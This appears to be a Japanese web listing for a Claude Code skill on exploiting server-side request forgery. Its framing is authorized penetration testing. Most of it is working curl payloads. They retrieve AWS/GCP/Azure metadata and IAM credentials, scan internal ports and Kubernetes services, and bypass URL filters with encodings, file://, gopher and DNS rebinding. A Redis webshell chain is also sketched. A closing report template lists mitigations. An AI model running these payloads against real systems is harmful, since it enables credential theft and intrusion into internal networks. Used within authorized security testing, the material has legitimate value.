exploiting-server-side-request-forgery について
ユーザー指定の URL を取得するアプリを対象に、許可された SSRF 評価を行うためのセキュリティスキルです。脆弱な機能の特定、影響やフィルター回避の検証、報告書の作成手順を扱います。
主な機能
- 01URL取得機能の特定
- 02クラウドメタデータへのアクセス検証
- 03内部サービスとポートの調査
- 04フィルター回避手法の適用
- 05ブラインドSSRFとDNSリバインディングの評価
- 06脆弱性レポートの作成
活用シーン
- 01WebhookやURLインポート機能の評価
- 02PDF・スクリーンショット生成機能の検証
- 03内部ネットワークの露出確認
- 04許可された侵入テスト結果の記録
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-server-side-request-forgeryインストール後、Claude Code で/exploiting-server-side-request-forgeryを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
サーバーサイドリクエストフォージェリの悪用
使用するタイミング
- アプリケーションがユーザー提供の URL(Webhook、URL プレビュー、ファイルインポート)を取得する、許可されたペネトレーションテストの実施時
- クラウドホスト型アプリケーションで、インスタンスメタデータサービスへのアクセスをテストする場合
- PDF 生成機能、スクリーンショットサービス、または外部コンテンツをレンダリングするあらゆる機能を評価する場合
- SSRF による内部サービスへのアクセスについて、マイクロサービスアーキテクチャを評価する場合
- データ取得用の URL パラメーターを受け付ける API のセキュリティ評価時
前提条件
- 許可:SSRF テストの範囲を含む、書面によるペネトレーションテスト契約
- Burp Suite Professional:帯域外検知用の Collaborator を使用
- interactsh:オープンソースの OOB インタラクションサーバー(
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest) - SSRFmap:SSRF 悪用の自動化フレームワーク(
git clone https://github.com/swisskyrepo/SSRFmap.git) - curl:SSRF ペイロードを手動でテストするため
- 対象インフラストラクチャに関する知識:クラウドプロバイダー(AWS、GCP、Azure)、内部 IP アドレス範囲
ワークフロー
ステップ 1:SSRF の影響を受けやすい機能を特定する
サーバー側で HTTP リクエストを行うアプリケーションの機能をすべて洗い出します。
# Common SSRF-prone features:
# - URL preview/unfurling (Slack-like link previews)
# - Webhook configuration endpoints
# - File import from URL (import CSV from URL)
# - PDF/screenshot generation from URL
# - Image/avatar fetching from URL
# - RSS/feed aggregation
# - OAuth callback URLs
# - API proxy/gateway features
# Test a URL parameter with Burp Collaborator
# Replace URL values with Collaborator payload
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
"https://target.example.com/api/webhooks"
# Test URL in various parameter names
for param in url uri link href src dest redirect callback webhook \
image_url avatar_url feed_url import_url proxy_url; do
echo "Testing param: $param"
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
done
ステップ 2:クラウドインスタンスのメタデータにアクセスする
クラウドプロバイダーのメタデータサービスを対象とする SSRF ペイロードをテストします。
# AWS EC2 Metadata (IMDSv1)
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
"https://target.example.com/api/fetch-url"
# AWS - Get IAM role credentials
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
"https://target.example.com/api/fetch-url"
# GCP Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
"https://target.example.com/api/fetch-url"
# Azure Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
"https://target.example.com/api/fetch-url"
# DigitalOcean Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/metadata/v1/"}' \
"https://target.example.com/api/fetch-url"
ステップ 3:SSRF を使用して内部ネットワークをスキャンする
SSRF の脆弱性を利用して、内部サービスとポートを検出します。
# Internal network scanning - common private ranges
for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
echo -n "$ip:$port -> "
response=$(curl -s --max-time 3 -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://$ip:$port/\"}" \
"https://target.example.com/api/fetch-url")
echo "$response" | head -c 100
echo
done
done
# Kubernetes internal services
for svc in kubernetes.default.svc \
kubernetes-dashboard.kubernetes-dashboard.svc \
kube-dns.kube-system.svc; do
curl -s --max-time 3 -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://$svc/\"}" \
"https://target.example.com/api/fetch-url"
done
# Access internal admin panels
for path in /admin /console /actuator/env /server-status /_cat/indices; do
curl -s -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://127.0.0.1:8080$path\"}" \
"https://target.example.com/api/fetch-url"
done
ステップ 4:SSRF フィルターと許可リストを回避する
基本的なペイロードがブロックされる場合は、回避手法を使用します。
# IP address encoding bypasses for 127.0.0.1
PAYLOADS=(
"http://127.0.0.1/"
"http://0177.0.0.1/" # Octal
"http://0x7f.0.0.1/" # Hex
"http://2130706433/" # Decimal
"http://127.1/" # Short form
"http://0/" # Zero
"http://[::1]/" # IPv6 loopback
"http://0.0.0.0/" # All interfaces
"http://localtest.me/" # DNS resolves to 127.0.0.1
"http://spoofed.burpcollaborator.net/" # DNS rebinding
"http://127.0.0.1.nip.io/" # Wildcard DNS
)
for payload in "${PAYLOADS[@]}"; do
echo -n "$payload -> "
curl -s -o /dev/null -w "%{http_code}" --max-time 3 \
-X POST -H "Content-Type: application/json" \
-d "{\"url\":\"$payload\"}" \
"https://target.example.com/api/fetch-url"
echo
done
# URL parsing bypass
# Embed credentials: http://[email protected]/
# Fragment: http://evil.com#expected.com
# URL encoding: http://127.0.0.%31/
# Redirect chain: http://attacker.com/redirect?url=http://127.0.0.1
# Protocol bypass
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"file:///etc/passwd"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"gopher://127.0.0.1:6379/_SET%20ssrf%20test"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"dict://127.0.0.1:6379/info"}' \
"https://target.example.com/api/fetch-url"
ステップ 5:SSRF を悪用して影響を拡大する
SSRF を内部サービスと連鎖させ、影響を最大化します。
# Access Redis via gopher protocol
# Craft gopher payload to set a webshell via Redis
# gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html
# This is for authorized testing only
# Access Elasticsearch
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9200/_cat/indices?v"}' \
"https://target.example.com/api/fetch-url"
# Read data from Elasticsearch
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9200/users/_search?size=10"}' \
"https://target.example.com/api/fetch-url"
# Access internal Jenkins
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:8080/script"}' \
"https://target.example.com/api/fetch-url"
# AWS: Retrieve temporary credentials from IAM role
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}' \
"https://target.example.com/api/fetch-url"
# Returns: AccessKeyId, SecretAccessKey, Token
ステップ 6:ブラインド SSRF と DNS リバインディングをテストする
攻撃者にレスポンスが返されないケースをテストします。
# Blind SSRF detection using time-based analysis
# Compare response times for accessible vs inaccessible ports
time curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:22/"}' \
"https://target.example.com/api/fetch-url"
time curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:12345/"}' \
"https://target.example.com/api/fetch-url"
# DNS rebinding attack
# 1. Set up a DNS server that alternates between:
# - First query: returns attacker IP (passes allowlist)
# - Second query: returns 127.0.0.1 (targets internal service)
# 2. Use a rebinding service like rbndr.us
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://7f000001.c0a80001.rbndr.us/"}' \
"https://target.example.com/api/fetch-url"
# rbndr.us alternates DNS responses between the two encoded IPs
主要な概念
| 概念 | 説明 |
|---|---|
| SSRF | サーバーサイドリクエストフォージェリ。サーバーに意図しない宛先へリクエストを送信させることです |
| ブラインド SSRF | レスポンスが攻撃者に返されない SSRF。帯域外検知が必要です |
| クラウドメタデータ | 認証情報と設定情報を公開するインスタンスメタデータサービス(169.254.169.254) |
| Gopher プロトコル | 生の TCP データを送信できるプロトコル。内部サービスへの攻撃を可能にします |
| DNS リバインディング | IP 解決先を切り替えて、SSRF のホスト名許可リストを回避する DNS 攻撃 |
| TOCTOU | URL 検証における、チェック時と使用時の競合状態 |
| IMDSv2 | セッショントークンを必要とし、基本的な SSRF を緩和する AWS メタデータサービス v2 |
| オープンリダイレクトチェーン | オープンリダイレクトを使用して、SSRF フィルターの URL 許可リストを回避する手法 |
ツールとシステム
| ツール | 目的 |
|---|---|
| Burp Suite Professional | リクエストの変更と、ブラインド SSRF 検知用の Collaborator |
| SSRFmap | プロトコルに対応した、SSRF 悪用の自動化フレームワーク |
| interactsh | ブラインド SSRF の帯域外インタラクション検知 |
| Gopherus | 内部サービスの悪用に使う Gopher ペイロードの生成 |
| rbndr.us | SSRF フィルター回避用の DNS リバインディングサービス |
| singularity | 悪用を自動化する DNS リバインディング攻撃フレームワーク |
よくあるシナリオ
シナリオ 1:Webhook URL の SSRF による AWS 認証情報の取得
Webhook の設定エンドポイントで、コールバック URL を指定できます。この URL に http://169.254.169.254/latest/meta-data/iam/security-credentials/ を指定すると、一時的な AWS IAM 認証情報が返されます。この認証情報を使用して、S3 バケットやその他の AWS サービスにアクセスできます。
シナリオ 2:PDF 生成機能を利用した SSRF
URL から PDF を生成する機能が、サーバー側でリクエストを行います。URL として http://127.0.0.1:8080/admin を指定すると、内部の管理パネルの内容を含む PDF が生成されます。
シナリオ 3:プロトコル回避を伴う画像 URL の SSRF
アバター URL 欄では HTTP/HTTPS がフィルタリングされていますが、file:// プロトコルは受け付けられます。アバター URL に file:///etc/passwd を使用すると、サーバーがローカルファイルを読み取り、その内容をレスポンスに含めます。
シナリオ 4:ブラインド SSRF による内部 Redis への攻撃
URL フェッチ機能はレスポンスの内容を返しませんが、成功または失敗を確認できます。gopher プロトコルのペイロードを使用して、攻撃者は内部の Redis インスタンスにデータを書き込み、リモートコード実行を実現します。
出力形式
## SSRF Vulnerability Finding
**Vulnerability**: Server-Side Request Forgery (Full SSRF)
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/webhooks - `callback_url` parameter
**OWASP Category**: A10:2021 - Server-Side Request Forgery
### Reproduction Steps
1. Send POST /api/webhooks with callback_url set to http://169.254.169.254/latest/meta-data/
2. Server makes request to AWS metadata endpoint
3. Response contains AWS instance metadata including IAM role name
4. Follow up with IAM credentials endpoint to retrieve temporary access keys
### Confirmed Access
| Target | Protocol | Response |
|--------|----------|----------|
| 169.254.169.254 (AWS metadata) | HTTP | IAM credentials retrieved |
| 127.0.0.1:6379 (Redis) | Gopher | Commands executed |
| 127.0.0.1:9200 (Elasticsearch) | HTTP | Index listing retrieved |
| 10.0.0.5:8080 (Internal API) | HTTP | Admin panel accessible |
### Impact
- AWS IAM temporary credentials exfiltrated (S3 read/write access)
- Internal Redis server accessible (potential RCE)
- Internal Elasticsearch data exposed (user records)
- Full internal network scanning capability
### Recommendation
1. Implement strict URL allowlisting (only allow known trusted domains)
2. Block requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)
3. Upgrade to AWS IMDSv2 (requires session token header)
4. Disable unused URL protocols (gopher, file, dict, ftp)
5. Use a dedicated outbound proxy for server-side requests with DNS resolution controls